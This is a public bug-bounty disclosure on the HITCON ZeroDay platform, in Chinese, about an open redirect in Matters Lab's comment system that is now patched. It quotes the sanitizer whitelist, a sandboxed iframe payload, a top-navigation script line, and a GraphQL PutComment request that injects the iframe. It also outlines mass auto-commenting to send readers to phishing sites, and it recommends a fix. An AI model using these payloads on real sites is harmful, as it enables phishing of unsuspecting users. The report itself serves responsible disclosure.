Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00241
- Vendor: Matters Lab
- Title: [Bounty] Matters Lab open redirect
- Introduction: open redirect
處理狀態
目前狀態
公開
Last Update : 2022/02/23
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2021/05/04 23:30:08 : 新提交 (由 huli 更新此狀態)
- 2022/02/20 16:52:36 : 新提交 (由 huli 更新此狀態)
- 2022/02/22 07:23:33 : 已修補 (由 組織帳號 更新此狀態)
- 2022/02/23 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00241
- 通報者:aszx87410 (huli)
- 風險:低
- 類型:未驗證的 URL 轉址 (Unvalidated Redirects and Forwards)
參考資料
攻擊者可利用該漏洞將受害者導向至惡意網站。
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
OWASP Top 10 2010 - A10 - Unvalidated Redirects and Forwards
https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
Unvalidated Redirects and Forwards Cheat Sheet
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
http://cwe.mitre.org/data/definitions/601.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
無
敘述
因為怕文章有使用者誤點觸發 redirect,所以就恕不提供 POC 網址了,影響範圍為所有文章頁面。
在評論跟文章的地方雖然有經過後端過濾,但是允許使用 iframe + sandbox 屬性:https://github.com/thematters/matters-server/blob/develop/src/common/utils/xss.ts#L8
const CUSTOM_WHITE_LISTS = {
a: [...(xss.whiteList.a || []), 'class'],
figure: [],
figcaption: [],
source: ['src', 'type'],
iframe: ['src', 'frameborder', 'allowfullscreen', 'sandbox'],
}
這表示 iframe src 可以自訂,然後 sandbox 權限全開,像是:<iframe sandbox="allow-top-navigation allow-scripts allow-same-origin" src=example.com></iframe>
在 iframe 裡的網址可以執行 top level navigation,把使用者導去任意網站:
<script>
top.location = 'malicious_website'
</script>
所以使用者一點進含有惡意 iframe 評論的文章頁面,就會被導去設計好的釣魚網站,可以實際執行的攻擊是:
- 自動到每一篇文章底下留言,寫入 iframe,使用者進去任一文章時就會觸發重新導向,被導去釣魚網站
- 由於使用者沒有點擊任何連結,察覺被導到釣魚網站的可能性低,有較高機率釣魚成功
比較常見的 open redirect 是構造一個官方 domain 的 url 但是會重新導向,例如說 https://official.com?redirect_url=https://example.com,而觸發方式是要先讓使用者進到這個連結
這次回報的因為是透過 comment + iframe 自動觸發,只要使用者一點進文章頁面就會中招,嚴重程度會更高一點
這裡有兩個類似的 issue 可以參考:
- 1000$ for Open redirect via unknown technique [BugBounty writeup]
- Open Redirect / XSS via iframe with sandbox.
api request:
{"operationName":"PutComment","variables":{"input":{"comment":{"content":"<p>test</p><iframe sandbox=\"allow-top-navigation allow-scripts allow-same-origin\" src=https://xxx.com></iframe>","articleId":"QXJ0aWNsZToxMzA5NDE","type":"article","mentions":[]},"extensions":{"persistedQuery":{"version":1,"sha256Hash":"b601be3b75dd59411aa04ff55c6e96c76a6d5c029a84cded554922158b731b4f"}修補建議
過濾 sandbox 屬性內容或是加入 CSP 限制可載入之 domain
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。